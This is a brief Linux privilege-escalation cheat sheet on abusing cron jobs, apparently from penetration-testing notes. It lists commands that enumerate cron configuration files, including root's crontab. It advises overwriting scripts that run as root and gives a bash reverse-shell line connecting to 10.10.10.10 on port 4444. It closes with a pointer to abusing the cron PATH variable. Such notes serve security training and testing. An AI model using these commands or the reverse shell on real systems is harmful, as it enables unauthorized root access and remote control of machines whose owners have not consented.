Skip to content

Cron

Cron Jobs - File Permissions

Check cron jobs configuration

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Check if you can overwrite script that are executed as root, for example

#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Cron Jobs - PATH Environment Variable

Check cron jobs configuration

cat /etc/crontab

Check PATH configuration, do you have access to any of paths, if yes try to create script there